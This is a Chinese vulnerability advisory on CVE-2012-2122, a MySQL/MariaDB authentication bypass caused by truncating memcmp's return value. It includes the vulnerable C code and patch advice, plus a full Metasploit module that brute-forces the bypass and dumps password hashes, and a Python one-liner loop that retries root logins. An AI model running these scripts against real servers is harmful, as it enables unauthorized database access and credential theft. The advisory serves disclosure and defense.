您的位置:首页 > 数据库 > MariaDB

MariaDB/MySQL 概率性任意密码(身份认证)登录漏洞(CVE-2012-2122)

2012-06-12 00:00 911 查看

漏洞版本:

All MariaDB

MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22

漏洞描述:

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。

漏洞分析:出问题的代码如下

my_bool check_scramble(const uchar *scramble_arg, const char *message,
const uint8 *hash_stage2)
{
SHA1_CONTEXT sha1_context;
uint8 buf[SHA1_HASH_SIZE];
uint8 hash_stage2_reassured[SHA1_HASH_SIZE];

mysql_sha1_reset(&sha1_context);
/* create key to encrypt scramble */ mysql_sha1_input(&sha1_context, (const uint8 *) message, SCRAMBLE_LENGTH);
mysql_sha1_input(&sha1_context, hash_stage2, SHA1_HASH_SIZE);
mysql_sha1_result(&sha1_context, buf);
/* encrypt scramble */ my_crypt((char *) buf, buf, scramble_arg, SCRAMBLE_LENGTH);
/* now buf supposedly contains hash_stage1: so we can get hash_stage2 */ mysql_sha1_reset(&sha1_context);
mysql_sha1_input(&sha1_context, buf, SHA1_HASH_SIZE);
mysql_sha1_result(&sha1_context, hash_stage2_reassured);
return memcmp(hash_stage2, hash_stage2_reassured, SHA1_HASH_SIZE);
}


memcmp的返回值实际上是int,而my_bool实际上是char。那么在把int转换成char的时候,就有可能发生截断。比如,memcmp返回0×200,截断后变成了0,调用check_scramble函数的就误以为“password is correct“。

但是一般来说,memcmp的返回值都在[127,-128]之内,把两个字符串逐个字符的比较,如果找到不一样的,就把这两个字符相减后返回。但是这样逐个逐个的比较,速度太慢。而且C语言标准中并没有要求返回值一定在char的可表示范围内。Linux的glibc一般使用的是SSE优化后的代码,它会一次读取多个字节,然后相减,结果可能是一个很大的数。但是一般来讲,在拿GCC编译C/C++程序的时候,对于memcmp/memcpy这样的常用函数,GCC会优先使用编译器内置的实现(而非glibc中的)。所以这个BUG只在特定的编译环境下才会触发:即编译MySQL的时候在CFLAGS中加了-fno-builtin,并且所使用的glibc是经SSE优化后的(最近今年的发行版自带的都是如此)。

测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::MYSQL

include Msf::Auxiliary::Report

include Msf::Auxiliary::Scanner

def initialize

super(

'Name' => 'MYSQL CVE-2012-2122 Authentication Bypass Password Dump',

'Version' => '$Revision$',

'Description' => %Q{

This module exploits a password bypass vulnerability in MySQL in order

to extract the usernames and encrypted password hashes from a MySQL server.

These hashes ares stored as loot for later cracking.

},

'Authors' => [

'TheLightCosine <thelightcosine[at]metasploit.com>', # Original hashdump module

'jcran' # Authentication bypass bruteforce implementation

],

'References' => [

['CVE', '2012-2122']

],

'DisclosureDate' => 'Jun 09 2012',

'License' => MSF_LICENSE

)

deregister_options('PASSWORD')

end

def run_host(ip)

# Keep track of results (successful connections)

results = []

# Username and password placeholders

username = datastore['USERNAME']

password = Rex::Text.rand_text_alpha(rand(8)+1)

# Do an initial check to see if we can log into the server at all

begin

socket = connect(false)

x = ::RbMysql.connect({

:host => rhost,

:port => rport,

:user => username,

:password => password,

:read_timeout => 300,

:write_timeout => 300,

:socket => socket

})

x.connect

results << x

print_good "#{rhost}:#{rport} The server accepted our first login as #{username} with a bad password"

rescue RbMysql::HostNotPrivileged

print_error "#{rhost}:#{rport} Unable to login from this host due to policy (may still be vulnerable)"

return

rescue RbMysql::AccessDeniedError

print_good "#{rhost}:#{rport} The server allows logins, proceeding with bypass test"

rescue ::Interrupt

raise $!

rescue ::Exception => e

print_error "#{rhost}:#{rport} Error: #{e}"

return

end

# Short circuit if we already won

if results.length > 0

@mysql_handle = results.first

return dump_hashes

end

#

# Threaded login checker

#

max_threads = 16

cur_threads = []

# Try up to 1000 times just to be sure

queue = [*(1 .. 1000)]

while(queue.length > 0)

while(cur_threads.length < max_threads)

# We can stop if we get a valid login

break if results.length > 0

# keep track of how many attempts we've made

item = queue.shift

# We can stop if we reach 1000 tries

break if not item

# Status indicator

print_status "#{rhost}:#{rport} Authentication bypass is #{item/10}% complete" if (item % 100) == 0

t = Thread.new(item) do |count|

begin

# Create our socket and make the connection

s = connect(false)

x = ::RbMysql.connect({

:host => rhost,

:port => rport,

:user => username,

:password => password,

:read_timeout => 300,

:write_timeout => 300,

:socket => s,

:db => nil

})

print_status "#{rhost}:#{rport} Successfully bypassed authentication after #{count} attempts"

results << x

rescue RbMysql::AccessDeniedError

rescue Exception => e

print_status "#{rhost}:#{rport} Thread #{count}] caught an unhandled exception: #{e}"

end

end

cur_threads << t

end

# We can stop if we get a valid login

break if results.length > 0

# Add to a list of dead threads if we're finished

cur_threads.each_index do |ti|

t = cur_threads[ti]

if not t.alive?

cur_threads[ti] = nil

end

end

# Remove any dead threads from the set

cur_threads.delete(nil)

::IO.select(nil, nil, nil, 0.25)

end

# Clean up any remaining threads

cur_threads.each {|x| x.kill }

if results.length > 0

print_good("#{rhost}:#{rport} Successful exploited the authentication bypass flaw, dumping hashes...")

@mysql_handle = results.first

return dump_hashes

end

print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")

end

def dump_hashes

# Grabs the username and password hashes and stores them as loot

res = mysql_query("SELECT user,password from mysql.user")

if res.nil?

print_error("#{rhost}:#{rport} There was an error reading the MySQL User Table")

return

end

# Create a table to store data

tbl = Rex::Ui::Text::Table.new(

'Header' => 'MysQL Server Hashes',

'Indent' => 1,

'Columns' => ['Username', 'Hash']

)

if res.size > 0

res.each do |row|

next unless (row[0].to_s + row[1].to_s).length > 0

tbl << [row[0], row[1]]

print_good("#{rhost}:#{rport} Saving HashString as Loot: #{row[0]}:#{row[1]}")

end

end

this_service = nil

if framework.db and framework.db.active

this_service = report_service(

:host => rhost,

:port => rport,

:name => 'mysql',

:proto => 'tcp'

)

end

report_hashes(tbl.to_csv, this_service) unless tbl.rows.empty?

end

# Stores the Hash Table as Loot for Later Cracking

def report_hashes(hash_loot,service)

filename= "#{rhost}-#{rport}_mysqlhashes.txt"

path = store_loot("mysql.hashes", "text/plain", rhost, hash_loot, filename, "MySQL Hashes", service)

print_status("#{rhost}:#{rport} Hash Table has been saved: #{path}")

end

end

########################################################################################

测试方法,2

#!/usr/bin/python

import subprocess

while 1:

subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()

安全建议:

升级官方补丁:

MariaDB 5.1.62, 5.2.12, 5.3.6, 5.5.23
MySQL 5.1.63, 5.5.24, 5.6.6

Sebug临时解决办法:
在防火墙上关闭mysql端口
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息